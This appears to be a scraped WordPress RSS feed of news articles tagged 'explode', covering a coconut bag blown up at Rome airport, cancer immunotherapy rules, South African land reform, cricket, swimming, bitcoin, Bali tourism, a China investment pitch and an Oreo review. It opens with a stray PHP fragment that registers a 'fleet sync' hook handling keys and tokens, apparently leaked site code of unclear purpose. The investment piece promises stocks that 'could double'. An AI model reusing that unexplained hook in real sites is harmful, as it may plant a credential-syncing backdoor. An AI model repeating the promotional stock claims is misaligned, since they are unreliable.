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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); EXPLODE – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 02 Oct 2018 19:55:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png EXPLODE – Brief News https://briefnews.eu 32 32 Rome Airport police explode ‘suspicious’ bag which turns out to be filled with COCONUTS https://briefnews.eu/rome-airport-police-explode-suspicious-bag-which-turns-out-to-be-filled-with-coconuts/ https://briefnews.eu/rome-airport-police-explode-suspicious-bag-which-turns-out-to-be-filled-with-coconuts/#respond Tue, 02 Oct 2018 19:55:22 +0000 http://briefnews.eu/rome-airport-police-explode-suspicious-bag-which-turns-out-to-be-filled-with-coconuts/

Rome’s Fiumicino Airport in Italy saw high drama yesterday afternoon after police blew up a suspicious bag.

However, fear quickly turned to farce when it became clear that rather than containing a bomb, the luggage held lots of coconuts.

An eyewitness photographed the incident which saw the Italian police simply abandon the exploded bag and the mess they had caused in the busy concourse.

Ned Donovan, a freelance journalist, shared his experience of the event on Twitter.

”Amazing, the Italian police have blown up a bag full of coconuts and have now reopened Rome airport,” he tweeted.

Ned posted a photo of the aftermath. The bag’s contents are strewn all over the floor and include numerous coconuts.

Another image showed police standing over the ruined bag holding the “suspect coconuts,” taken just moments after it was blown up, according to Ned.

Ned told The Independent the episode lasted at least 15 minutes and resulted in the terminal being closed.

However, while police prevented anyone from going airside or entering the terminal, they also left the people already inside to “wander around,” said Ned.

He later tweeted: “There’s so much about this incident that I enjoyed and also felt so Italian.

“They blew up what they thought was a bomb in the middle of the airport while people were about 10 metres away, and then when it was destroyed the police just wandered off and left it to be cleaned up.”

Twitter users loved the entertaining thread of posts about the coconuts and took to the platform in droves to share puns.

“Is that a weapon of mass desiccation?” one man tweeted. Another posted: “I hope they catch the perpetrator. They should put a bounty on them.”

“Top notch policework. They blew the case wide open,” a third Twitter user wrote.

Another person speculated that the contents of coconuts pointed to the passenger responsible being Indian.

“Oh gawd. This bag/luggage must belong to an Indian. Only we carry coconuts and frying pans when we travel,” one woman tweeted.

Others saw the opportunity for the episode to be replicated on TV.”There’s a Monty Python skit in this story somewhere,” one Twitter user wrote.

Rome is not the only airport facing embarrassment, however. A viral video has captured the awkward moment a ceremonial water salute went terribly wrong at Dubai Airport. 

During the salute, one jet of water lost control and completely drenched the plane as it sprayed water directly at the body of the aircraft rather than aiming in an elegant arc over it.

To make matters worse the way the water hit the plane triggered the deployment of the emergency slide.

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]]> https://briefnews.eu/rome-airport-police-explode-suspicious-bag-which-turns-out-to-be-filled-with-coconuts/feed/ 0 Cancer time bomb is ready to explode https://briefnews.eu/cancer-time-bomb-is-ready-to-explode/ https://briefnews.eu/cancer-time-bomb-is-ready-to-explode/#respond Sun, 09 Sep 2018 10:53:34 +0000 http://briefnews.eu/cancer-time-bomb-is-ready-to-explode/

The cutting-edge treatment has been hailed as “a new dawn” for cancer medicine and for some patients, it could be a potential cure.

Experts say the immune-boosting drugs have become “victims of their own success” while government regulators say they cannot afford to pay for the medicine beyond the time frames that proved effective in trials.

Many drugs were tested for a two-year period by pharmaceutical companies.

But this meant their usage – either in further trials, on the NHS or in a interim period in between – was restricted to this.

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The drugs have been so successful that many patients are living comfortably beyond two years.

Last night, experts called for the rules to be rewritten so patients whose lives have been saved by the new drugs are able to access them for as long as they need.

Professor Dean Fennell, a lung cancer expert at University Hospitals of Leicester, said: “It is testimony to the fact these treatments are working so well in some patients there is now the question of whether treatment should continue after the allotted period of two years if the cancer remains stable.

“There is an emerging and growing unmet need and patients who may have been terminal are now surviving. This is new territory and a new problem.”

cancer patients could miss out on life-saving treatment

Cancer patients could miss out on life-saving treatment (Image: GETTY )

The drugs harness the body’s own immune system to combat cancer and have seen patients given just weeks or months to live see their tumours shrink or even disappear.

They include Pembrolizumab, Nivolumab, and Atezolizumab which have proved to be successful when it comes to treating forms of kidney, bladder, lung and skin cancer.

However, there is still not enough evidence to show they will work for longer than two years.

Professor Karol Sikora, former cancer advisor to the World Health Organisation, said: “Long-term survival for terminal disease has been so rare in the past, we haven’t had this problem.

“It would be completely ethical to treat patients with the same immunotherapy drug that had been effective should their cancer come back after stopping treatment.”

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Shirley McGovern, who is receiving immunotherapy treatment for lung cancer, at home in Blackburn (Image: Asadour Guzelian)

Last week a group of lung cancer patients whose lives have been saved or extended by Pembrolizumab formed a coalition to demand a change in the rules.

They told their story to the Sunday Express and registered a petition demanding an end to the “two-year treatment rule”.

Shirley McGovern, a 55-year-old mother of two from Blackburn, was diagnosed with cancer in March 2013. The disease had spread to her right lung, right breast and a pulmonary artery to her heart.

After traditional treatment, including surgery, failed to work, she was given Pembrolizumab in January 2017.

Since then, her tumours have shrunk and remained stable but she said: “I have four months left on this. I am terrified what will happen once treatment stops.”

Colin Clements, 62, a cabling engineer and father-of-three from Stevenage, Herts, was diagnosed with stage four inoperable lung cancer in his right lung in May 2017.

Doctors found the disease had spread to his lymph nodes, neck and stomach.

After being put on Pembrolizumab the following month, Mr Clements’ tumours have shrunk by 85 per cent.

He said: “I never saw my oncologist smile so much after the first scan. He was so pleased. I am so worried about not having it. We are guinea pigs. We are in limbo.”

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Paul Moran, 72, from Evesham Worcs (Image: NC/GETTY )

Paul Moran, 72, from Evesham Worcs, was put on Pembrolizumab in February 2017 after chemotherapy for cancer in his right lung failed to work.

Immediately his tumour shrank. Mr Moran, who worked in marketing, is angry he will be denied the drug after two years. He said: “In some ways it’s giving us a death sentence.”

Jackie Foster, 52, a hospital administrator, was diagnosed with cancer in her left lung in July 2015. It then spread to her brain and neck.

After radiotherapy, chemotherapy and four lots of surgery on her brain – including a tenhour operation to remove a tumour – the motherof-two from High Wycombe, Bucks, was too ill to even take her dog for a walk.

Kath Hales, 71, was diagnosed with cancer in both lungs in February 2016

Kath Hales, 71, was diagnosed with cancer in both lungs in February 2016 (Image: Mark Kehoe)

She was given Pembrolizumab in September last year and said: “My tumours shrunk and I feel a hundred times better. If they took me off this drug, I would be devastated. I want to be able to see my grandchildren.”

Kath Hales, 71, was diagnosed with cancer in both lungs in February 2016.

Chemotherapy caused the mother-of-three to have a heart attack so in January 2017, she was put on Pembrolizumab. This cleared her cancer, leaving only scar tissue.

She said: “What happens if my cancer starts growing again? Am I just waiting to die?”

Pam Brennan was diagnosed with terminal cancer in her right lung in April 2016

Pam Brennan was diagnosed with terminal cancer in her right lung in April 2016 (Image: NC)

Pam Brennan, a 55-year-old healthcare assistant and mother-of-six from Birmingham was diagnosed with terminal cancer in her right lung in April 2016.

Chemotherapy failed so that August she was given Pembrolizumab. Since then her tumours have shrunk by 90 per cent.

Lainey Bain, a 52-year-old trustee for a children’s charity, was diagnosed with terminal lung cancer in August last year.

The following month she started chemotherapy which was ineffective. Ms Bain, from Aberdeen, said: “I became so ill I could no longer walk ten metres without an oxygen tank. I could hardly breathe.”

Since starting Pembrolizumab last October her tumours have shrunk by 70 per cent.

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“Last January I went skiing in the Alps and absolutely loved every moment,” she said.

“It was so cold and crisp and the air was lovely to breathe. Pembrolizumab saved my life.”

Michael Cole, 52, a sales manager for a car parts company from Aldershot, Hants, has launched a petition demanding an end to the two-year treatment rule.

After surviving testicular cancer, the father-of-two was diagnosed with terminal lung cancer in December 2015.

He failed to respond to two different chemotherapy drugs so was prescribed Pembrolizumab in June 2016. It shrank his tumour and stabilised the disease.

Michael Cole, 52 was diagnosed with terminal lung cancer in December 2015

Michael Cole, 52 was diagnosed with terminal lung cancer in December 2015 (Image: INS Picture Desk/INS News Agency)

If my cancer starts to grow back, I want to have the option of this drug again.

Michael Cole

Now two years have passed, however, Mr Cole has been told he will not be allowed to take the drug any more.

“If my cancer starts to grow back, I want to have the option of this drug again,” he said.

Why deny me this? I want time with my children. I have no other choices left. We need to fight for our sisters, brothers and children to have long-standing access to this drug.”

A spokesman for NICE, the approvement body south of the Border, said it would be looking at the evidence for the Pembrolizumab trials again next year.

He said the two-year rule was proposed by manufacturers Merck Sharp & Dohme.

Their key clinical trial date only covered a two-year period.

The spokesman said: “Our independent appraisal committee incorporated this rule into its recommendation. We will consider whether there is new evidence available that suggests the guidance needs to be updated next year.”

Microscopic view of cancer cells

Microscopic view of cancer cells (Image: GETTY)

Key question on how to proceed with therapy – by Professor Dean Fennell

Over the past five years exploiting the immune system to treat cancer has effectively transformed survival.

Cancer cells protect themselves by displaying an “immune shield”.

In some cancers including kidney, bladder, skin and lung this is called PDL1.

Immunotherapy drugs including pembrolizumab, nivolumab, and atezolizumab essentially disable this defence allowing the body’s army of anti-cancer cells to attack.

In my area, lung cancer, we have seen no-less than a revolution.

Today in the NHS, first-line chemotherapy has been replaced by immunotherapy in patients who have high levels of PDL1.

This accounts for 30 per cent of non-small cell lung cancer – the most common form.

One of the great advantages of this type of therapy, aside from the fact there are few side effects compared to chemotherapy, is the long-term benefit seen in some patients.

This is sometimes lasting years in a setting where survival was always measured in months.

This raises a new challenge – how long should these drugs be given for? In many pivotal clinical trials that have led today’s approved drugs, immunotherapy was administered for a fixed time period, 24 months for example.

For those patients who have benefited up to this time point, a key question is whether continuation or a break, followed by re-challenge could extend the benefit of immunotherapy.

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More research is needed to robustly address this question (Image: GETTY )

Research is needed to robustly address this question, and certainly early signs are that re-treatment benefits some patients.

A French study of 13 patients reported this month in the European Journal of Cancer shows patients with lung, breast, melanoma, and urothelial cancers benefited from a second round of treatment after they had stopped immunotherapy for a year.

After being re-treated for another year a quarter showed tumour shrinkage and three quarters stable cancer.

This unique problem reflects a rapid advance in science that is making clear improvements for patients afflicted with cancer.

Professor Fennell is a lung cancer expert at University of Leicester and University Hospitals of Leicester NHS Trust.

The miracle of repeated treatments

Mavis Nye, 78, became the world’s first patient to show immune-boosting pembrolizumab can work a second time round against the deadly asbestos-related lung cancer mesothelioma last week, writes Lucy Johnston.

The mother of three, who was also the first to undergo a two-year trial of the treatment in 2009 after being given three months to live, said all patients whose growths come back should be allowed a second round.

Mrs Nye, had a distinct form of lung cancer and unusually was given a dispensation to have a second chance to use the drug should cancer return within a set time limit.

She was within a month of her cut-off date when the cancer was found to have regrown in June this year.

The former administrator from Whitstable, Kent, had seen a “miraculous” response from the first trial after four rounds of chemotherapy failed to reduce her tumours in 2009.

Cancer treatment

Mavis was the world’s first patient to show immune-boosting pembrolizumab can work a second time (Image: NC )

She had been using a walking frame and “could no longer stand upright”.

She said: “It was a miracle. I had come back to life.”

Her tumours shrunk to nothing and after two years she thought she was “cured”.

However when she went for a routine scan “the room went quiet” as doctors looked at images of her lungs.

A biopsy confirmed new cancer growth and Mrs Nye was put back on pembrolizumab.

She had her fifth infusion last week and results show the treatment is working a second time round with tumours shrinking.

“Nobody knew whether this would happen,” she said.

“We should allow everyone to have retreatment if their growths return.”

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]]> https://briefnews.eu/cancer-time-bomb-is-ready-to-explode/feed/ 0 ‘We will take the land by force’: South Africa’s land crisis may explode into racial violence https://briefnews.eu/we-will-take-the-land-by-force-south-africas-land-crisis-may-explode-into-racial-violence/ https://briefnews.eu/we-will-take-the-land-by-force-south-africas-land-crisis-may-explode-into-racial-violence/#respond Thu, 30 Aug 2018 11:49:37 +0000 http://briefnews.eu/we-will-take-the-land-by-force-south-africas-land-crisis-may-explode-into-racial-violence/ The controversial land-confiscation policy proposed by the Ramaphosa-led ANC government could ignite clashes among South African citizens, who are split into two rival camps on the issue along racial lines.

The new legislation allowing land seizure without compensation, which was proposed by the ruling African National Congress (ANC) as early as 2015 and supported by President Cyril Ramaphosa, is currently on hold pending further review.

The law, if passed, will allow South African authorities to seize lands from white farmers and redistribute them to the country’s black population without any compensation for the owners

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The proposed land reform has pitted radical groups among black South Africans ready to take land by force against white farmers who are ready to protect their property.

“We will take the land by force,” Peter Seolela, a member of the Economic Freedom Fighters party, told London-based television channel ITV. “We will not be embarrassed by this. It is our land and we want it now.”

The disputed land reform is an attempt by the South African government to address what they see as continuing injustice in the country, more than two decades after the end of apartheid. The policy of strict racial segregation, by which the country’s white minority held power, was abolished in 1994.

Much of the farmland in South Africa is still owned by the country’s white minority. President Cyril Ramaphosa pledged to answer the frustrations of the landless black majority, vowing to alter the South African constitution, inevitably sparking fears among the country’s white population.

“This land is bought and paid for. I have the title deeds that go back four generations,” said Bernadette Hall, whose husband was reportedly murdered by armed raiders six years ago.

“I lost my husband and now they want to take my farm,” Hall told the media. “I’ve put my blood and my sweat and everything into this. They might as well slit my throat and have done with it.”

Earlier this week, the ANC said the land reform bill had been withdrawn by the Portfolio Committee on Public Works pending further study, but reiterated its commitment to pursue the controversial program.

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]]> https://briefnews.eu/the-new-satellite-arms-race-threatening-to-explode-in-space/feed/ 0 Tensions explode after baffling injustice https://briefnews.eu/tensions-explode-after-baffling-injustice/ https://briefnews.eu/tensions-explode-after-baffling-injustice/#respond Wed, 21 Mar 2018 21:06:25 +0000 http://briefnews.eu/tensions-explode-after-baffling-injustice/ SOUTH African captain Faf du Plessis hit back at his Australian counterpart Steve Smith’s criticism of the decision to overturn a ban on South African fast bowler Kagiso Rabada.

Rabada’s punishment of three demerit points for deliberate physical contact with Smith in the second Test in Port Elizabeth was reduced to one point, overturning a two-match ban that would have seen him ruled out of the series.

Smith claimed in an overnight interview with Australian journalists that the contact with Rabada in the second Test in Port Elizabeth had been “a little bit harder than it actually looked on the footage”.

The Australian captain said he was surprised he had not been asked his opinion before the ruling was made and also claimed that a “line in the sand” had been drawn regarding physical contact.

“The ICC have set the standard, haven’t they? There was clearly contact out in the middle,” said Smith.

“I certainly won’t be telling my bowlers to go out there and after you take a wicket go and get in their space. I don’t think that is on and part of the game. But the standard has been set.” Du Plessis, though, praised the appeal process, saying it was good for cricket. “I don’t see a problem with having a fair system where a neutral guy sits and listens to both parties,” he said.

“I was there and I said to our people that even if we didn’t win the case I was very impressed with the judge and how he listened to both sides. He was very fair with the questions he asked. I think that process is really good.”

Du Plessis dismissed Smith’s comment about not being called to testify, ahead of the third Test in Cape Town with the series locked at 1-1.

“He wasn’t charged. If he was charged he probably would (have been) asked. KG (Rabada) was charged, he was defending himself and the judge has to decide if he sees that it was intentional.”

Asked whether he thought Rabada had made deliberate contact, Smith said: “It’s not my place to make that judgment. It’s been handed down now and it is what it is.

“I said yesterday the contact was harder than it actually looked on the TV, whether it was intentional or not is not for me to decide.” Smith denied there was a deliberate attempt to goad Rabada as had been suggested in reports of a pre-tour interview he had given in Australia.

“For us it is about playing the game the way we’ve always played it,” he said. “We’ll speak out in the middle, we won’t do anything I guess to antagonise him into making the sorts of mistakes he’s been (making). That’s up to him if he wants to make those errors.” Smith said Australia would field an unchanged team for the eighth Test in a row and said both Mitchell Starc and Mitchell Marsh had overcome injury concerns with a “good hit-out” at practice on Tuesday.

Du Plessis said two positions were being debated in the South African camp with a fit-again Temba Bavuma challenging for a batting place ahead of Theunis de Bruyn and fast bowler Morne Morkel possibly replacing Lungi Ngidi, who had a “toe niggle”.

Both captains said they had discussed with new match referee Andy Pycroft about the spirit in which the game should be played.

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]]> https://briefnews.eu/tensions-explode-after-baffling-injustice/feed/ 0 Refuelled Missile to explode in 100m final https://briefnews.eu/refuelled-missile-to-explode-in-100m-final/ https://briefnews.eu/refuelled-missile-to-explode-in-100m-final/#respond Thu, 01 Mar 2018 05:44:12 +0000 http://briefnews.eu/refuelled-missile-to-explode-in-100m-final/ THE Magnussen swagger is back.

He may have qualified only third-fastest for the men’s 100m freestyle final, behind defending champion Cameron McEvoy, but it was dual world champion James Magnussen that held court after this morning’s heats.

Already tagged the “alpha male” of the event by Olympic champion Kyle Chalmers, Magnussen walked the walk this morning, finishing third in his heat before declaring he had plenty in the tank for Thursday’s final.

The effort came despite a poor start but it did little to faze Magnussen, whose confidence seems to be soaring on the back of his first injury-free preparation in years.

“I got caught napping a bit at the start, I think,” he said of his heat, won by McEvoy in a 48.64sec, which led all competitors.

“I’m sure I can go quite a bit quicker than that tonight (Thursday).”

Olympic champion Kyle Chalmers and world championship finalist Jack Cartwright just made the final, the pair both recording 49.17 to scrape into the final in equal seventh spot.

“It’s deep but it’s not fast,” Magnussen said of the field.

“There’s a bit of depth but we all need to lift our game a bit tonight.”

Magnussen will use every tool in his bag to get an advantage over his rivals and is keen to embrace the position handed to him by Chalmers this week.

“I’m always confident. I really had a very strong focus on my mental preparation this last couple of weeks,” he said.

“I felt like my training was going really well but I wasn’t quite backing myself and didn’t have the bravado that I had a couple of years ago, so I’ve worked really hard on that and hopefully I can express a bit of that.”

The 100m has been built up as the race to watch this week, a position Magnussen said the competitors should embrace.

“It’s the blue ribbon event. I don’t think it matters where in the world you are or who’s in the pool, the 100m is always the best race to watch,” he said.

“You can quote me on that.”

While all eyes will be on the 100m, the biggest performance could come in the race before, where fearless competitor Ariarne Titmus is on the cusp of a breakthrough swim in the 400m freestyle, threatening to become the first Australian woman to break the 4min barrier for the event.

Titmus backed up from her stunning 200m win to cruise through the heats of the 400m in 4:08.35.

Titmus beat Commonwealth record holder Emma McKeon to win the 200m on Wednesday night to book her spot as the fastest qualified for the final and is sure she has plenty more to give.

“I’ve got to forget about the 200m now, that was great but I’ve got to swim the 400m today, so that’s where my focus is,” she said.

“What I did at (Queensland) states, breaking the (Australian) record there, that gave me a lot of confidence coming into this and I know from my training that I should be able to swim faster than in December.

“Even though I got the Australian record, I didn’t quite achieve what I wanted to do in the race, so I’m going to try and do that again and it should give me a faster time.”

Earlier, Cate Campbell set an Australian record of 24.47 in the 50m butterfly before qualifying fastest for the final of the 100m freestyle.

“I’m really pleased with good morning swims, now I just need to get out of the sun, have a big nap and get ready to come back and do it all again tonight,” she said.

Campbell (53.22se) led sister Bronte (53.98) and Emma McKeon (54.33) through qualifying and expects a battle tonight.

‘It is going to be a really fast final, all those girls looked pretty cruisy this morning, so it is going to be world class tonight,” she said.

“We’ve got some great names in there.

“Bronte is back to swimming almost at her best, she’s had some really great training, which is really good to see and I’m sure Emma will always pull through, she’s the ultimate competitor.”

In other finals, Jake Packard qualified fastest for the men’s 100m breaststroke final and Leiston Pickett is in action in the women’s 100m breaststroke.

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]]> https://briefnews.eu/refuelled-missile-to-explode-in-100m-final/feed/ 0 4 things that could cause bitcoin’s price to explode https://briefnews.eu/4-things-that-could-cause-bitcoins-price-to-explode/ https://briefnews.eu/4-things-that-could-cause-bitcoins-price-to-explode/#respond Mon, 18 Dec 2017 06:01:39 +0000 http://briefnews.eu/4-things-that-could-cause-bitcoins-price-to-explode/ trader celebrateReuters / Brendan McDermid

  • The price of bitcoin has risen 1700% so far this year.
  • Some are calling it a bubble, but there are things that could send the price even higher. 

Bitcoin has risen from less than one penny in 2010 to a price of about $ 17,000 as I write this. In 2017 alone, bitcoin’s value has risen by more than 1,700%. So how big could the value of a bitcoin get?

Some experts have suggested that bitcoin could rise to $ 1 million or more, but let’s look at what it might take to get bitcoin to a closer milestone of $ 100,000.

First, what would $ 100,000 bitcoin mean?

There are currently about 16.7 million bitcoins in circulation, so a $ 100,000 per-coin value implies a total valuation of $ 1.67 trillion for all bitcoins. This is certainly a large sum of money, but it isn’t unattainable by any means.

For reference, the global money supply is estimated to be $ 84 trillion, and there is estimated to be $ 280 trillion of total wealth in the world. So if just 0.6% of all global wealth was stored in the form of bitcoin, it would translate to a $ 100,000 bitcoin price. This would be a big leap from the current value of bitcoin, but if the digital currency starts to gain serious traction, it’s not outside the realm of possibilities.

With that in mind, here are four catalysts that could propel bitcoin from its current level of around $ 17,000 as of this writing to a six-figure price tag.

1. Bitcoin becomes much easier to use

There are two sides to a bitcoin transaction if it’s being used as a currency, not just as a speculative investment — the consumer and the merchant. First, let’s look at the main obstacle on the consumer side.

Simply put, bitcoin is not as user-friendly as it needs to be to become a widely used method of payment.

To be fair, bitcoin is much easier to use than it was just a few years ago. However, it’s still a rather complex process for newcomers. An account must be created with a bitcoin exchange like Coinbase, which typically involves sending a photo of your ID and linking your checking account. And unless you have instant-buy capability, you can be waiting several days for your bitcoin to arrive in your wallet.

While I wouldn’t call the process difficult, it is certainly more tedious than pulling cash out of an ATM or swiping your credit card at a merchant.

Many companies, large and small, are engaged in finding ways to solve this problem, and some progress is being made. One particularly promising example is Square, which recently started experimenting with bitcoin in its Square Cash app. If buying and using bitcoins becomes as easy as “swipe right” and then scanning your phone at a payment terminal, it could cause the digital currency’s adoption to explode.

2. Major retailers start accepting bitcoin

There are some online retailers and a handful of brick-and-mortar businesses that accept bitcoin payments, but none of the major players have decided to accept bitcoin just yet.

On the same day this article was written, it was reported that eBay is seriously considering accepting bitcoin as a payment method. Amazon.com has long been rumored to have bitcoin acceptance in the works, which would be the Holy Grail for bitcoin acceptance as a currency. If one of these major retailers, or another of comparable size — say, Wal-Mart or Target — decides to readily accept bitcoin payments for all purchases, it could become a game-changer for bitcoin.

3. Trading activity continues to grow

In 2017, bitcoin transaction volume has grown by 55% and 30,000 new bitcoin wallets are created daily. Since bitcoin isn’t widely accepted as a currency yet, it’s fair to assume that much of this activity is the work of speculators — that is, people who are buying bitcoin for the sole purpose that they think it will increase in value.

At the end of the day, bitcoin’s price is governed in the same way as any other asset — primarily by supply and demand. As long as speculators keep demand ahead of the supply of bitcoins available for sale, the price could continue to rise.


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]]> https://briefnews.eu/4-things-that-could-cause-bitcoins-price-to-explode/feed/ 0 Bali holidays tipped to EXPLODE with ambitious plans for new cruise terminal in Indonesia https://briefnews.eu/bali-holidays-tipped-to-explode-with-ambitious-plans-for-new-cruise-terminal-in-indonesia/ https://briefnews.eu/bali-holidays-tipped-to-explode-with-ambitious-plans-for-new-cruise-terminal-in-indonesia/#respond Tue, 22 Aug 2017 12:27:50 +0000 http://briefnews.eu/bali-holidays-tipped-to-explode-with-ambitious-plans-for-new-cruise-terminal-in-indonesia/

Though far away from the UK, Bali is increasingly popular as an exotic holiday destination. 

The Indonesian island was recently voted the most attractive long-haul location by Britons. 

But the peaceful, secluded beaches of Bali will soon be swarming with holidaymakers, according to an aggressive new tourism model. 

Last month, Indonesia revealed plans to create “10 new Balis” across the 34 provinces in the country. 

Australia is helping to fund the $ 850million (£523m) project. 

The Indonesian Government hopes to grow international arrivals from nine to 20 million between 2014 and 2019. 

It also wants to increase tourism from four to 20 per cent of GDP in the same time frame. 

Now construction is about to begin on a new cruise terminal, in a bid to attract “the rich guy”. 

In a matter of weeks, dreading will begin on Benoa bay in southern Bali to build a £150 million port facility. 

The project has been in planning stages for five years and is set to begin next month.

Built to hold three cruise ships and 5,000 passengers at a time, the port will be the biggest in the country. 

Ari Askhara, chief executive of Pelindo III, the development company, said he hopes to attract luxury travellers from Singapore yacht clubs. 

He explained: “At the moment people have Singapore, Hong Kong and Shanghai (to sail to) but Bali is very rare because the infrastructure is not there yet.”

The project wants to “evoke the glamour and elegance of Monte Carlo” with its luxury lifestyle design.

Indonesian tourism minister Arief Yahya said the cruise industry is an untapped market for Bali. 

He added: “With the availability of this new terminal facility, it is hoped that the target of 500,000 foreign tourist arrivals from cruise ships for the year of 2019 can be achieved.” 

Tourism expert Ida Bagus Surakusuma welcomed the terminal, but said the government’s target of two million passengers annually “must be taken cautiously”.

There are also plans in the pipeline to build a cruise terminal to the north of Bali at Celukan Bawang, which will hold seven cruise ships at a time.

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]]> https://briefnews.eu/bali-holidays-tipped-to-explode-with-ambitious-plans-for-new-cruise-terminal-in-indonesia/feed/ 0 These industries will explode along with China’s middle class https://briefnews.eu/these-industries-will-explode-along-with-chinas-middle-class/ https://briefnews.eu/these-industries-will-explode-along-with-chinas-middle-class/#respond Mon, 12 Jun 2017 00:07:32 +0000 http://briefnews.eu/these-industries-will-explode-along-with-chinas-middle-class/ china school childrenReuters/Jason Lee

In 1950, the United States was on the cusp of a boom that would produce the largest middle class in history. It was also the beginning of a surge in the U.S. economy that would make it one of the richest countries ever.

As we’ve told you before, China today is on the verge of something similar.

In 2000, just four percent of China’s urban population was considered middle class. By 2022, that figure will be a whopping 76 percent. That’s over 550 million middle-class people in China. To put this in perspective, it’s middle class will be 1.7 times the entire population of the U.S.

A growing middle class means Chinese consumer spending will surge too. It’s set to increase 55 percent between 2015 and 2020.

And just like the U.S. did during its boom, China’s middle class is set to spend its money on healthcare, education and fast food…

The massive shift in Chinese healthcare

Right now, the Chinese government provides some form of health insurance to almost all of its 1.4 billion citizens.

But public healthcare is a mess. There are simply too many patients for the poorly paid public doctors to care for. As a result, lines are long, and standards of care are poor for most Chinese citizens.

Distrust and frustration often boil over to the point where people humiliate or attack medical personnel when they feel their loved ones have been mistreated or neglected. For the typical Chinese citizen, a trip to a public hospital is unpleasant at best, and a nightmare at worst…

So with more money, the middle class is demanding better healthcare.

McKinsey & Company estimates that driven by the middle class, private healthcare spending in China will grow to $ 1 trillion by 2020, up from just over $ 350 billion in 2011.

The Chinese government is keenly aware of the frustrations of its citizens. So in 2011, the government took the first steps to allow private ownership of hospitals.

As a result, 2015 marked the first time that the number of private hospitals accounted for over half of the whole market. Still, the volume of services delivered by these small, private providers only accounted for 15 percent of the total amount of services provided to Chinese families. So there’s tons of room for growth.

Big upside potential from the “Golden Age” of Chinese education

China’s growing middle class is also rapidly spending more money on education and tutoring.

Parents are worried their children will have to compete even more fiercely for good jobs than they had to. And the Chinese economy is shifting from manufacturing towards services. That means the definition of a well-paying job is rapidly changing.

So parents are enrolling their children into the best pre-schools, middle schools, high schools and universities they can afford. They’re also to paying for extra tutoring.

According to consultants Deloitte Research, the Chinese education sector will expand at a 12.7 percent compound annual growth rate (CAGR) over the next three years, to generate revenue of nearly $ 440 billion in 2020. In fact, Deloitte calls this the “golden age” in Chinese education.

The growth in China’s restaurant industry

Fast food is convenient, quick and it has a variety of options. It’s also cheaper than eating at full-scale restaurants. That’s why the Chinese middle class – increasingly urbanised and pressed for time – is spending its new money on fast food.

According to IBIS Word, over the five years through 2016, revenue Chinese fast food restaurant industry has grown at an annualized rate of 10 percent. And That number is expected to grow as the middle class does.

As a result, many Chinese fast food restaurants are about to see profits soar… along with their share prices.

Putting it together

To sum up, these three sectors are creating massive opportunities for investors.

Remember, the Chinese middle-class boom is similar to the one that started in the U.S. in 1950. Investing during the U.S. boom made investors a lot of money.

For example:

  • US$ 1,000 invested in Standard Oil (Exxon) in 1950, for example, would have become $ 2.4 million by 2016
  • US$ 1,000 invested in tobacco giant Philip Morris in 1957 would have become $ 5.5 million by 2007
  • US$ 1,000 invested in McDonalds in 1965 would have become $ 4.1 million by 2016

We could see similar gains from each of these sectors. So if you’re looking to profit from the Chinese consumer boom, start with healthcare, education and fast food.

Good investing,

Kim Iskyan
Publisher, Stansberry Churchouse Research

 

P.S. We’ve uncovered three companies in each of these industries that are set to soar from the Chinese middle class. Each of these stocks could double over the next year.

And it couldn’t be simpler to invest in these stocks. They all trade on major exchanges. That means you’ll likely be able to buy them from the brokerage account you already have.

You can learn more about the massive opportunities being created from the Chinese middle class – and these companies – right here.

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]]> https://briefnews.eu/these-industries-will-explode-along-with-chinas-middle-class/feed/ 0 Snacktaku Eats Firework Oreos, Does Not Explode https://briefnews.eu/snacktaku-eats-firework-oreos-does-not-explode/ https://briefnews.eu/snacktaku-eats-firework-oreos-does-not-explode/#respond Sat, 13 May 2017 09:59:12 +0000 http://briefnews.eu/snacktaku-eats-firework-oreos-does-not-explode/

In the hierarchy of things you don’t put in your mouth, fireworks are right up there with razor blades and hobos, but nothing will stand in the way of Nabisco’s relentless quest to keep Snacktaku from eating things that aren’t Oreos.

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Firework Oreos, in stores now alongside something called Waffle and Syrup Oreos (which we have top men searching for), do not feature caked gunpowder wafers sandwiched around sulfur-infused creme. In the snack business they call that a missed opportunity. You have to take risks, even if those risks involve murdering a prominent snackologist on camera.

But no, Firework Oreos are just plain Oreos with red, white and blue “popping candy” mixed into the creme. That’s “popping candy” and not Pop Rocks, the famed carbonated candy that launched in 1975 and are the focus of a rumor about exploding stomachs spread by gullible scamps. It’s generic. It’s lawsuit-unfriendly. Not Pop Rocks.

Not Pop Rocks.

You can watch the video atop this post to witness my first taste and reactions to this rather lazy combination of iconic biscuit and dollar store knock-off candy.

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Long story short, they are Oreos. They smell like Oreos. They taste like Oreos. Dredging your tongue around your mouth after eating one, you may be able to isolate a candy piece, which offers a slight hint of fruit-ish flavor, but otherwise they are Oreos that make noise inside your skull. Did you want noise inside your skull? If so, then here you go.

As holiday-themed Oreos go, at least we’re getting these instead of a healthy dose of blue and red food coloring. Nothing says “American independence” like a purple toilet (Purple Toilet is the name of my Prince tribute death metal band).

See you next time, when we hopefully won’t be reviewing Orehobos.

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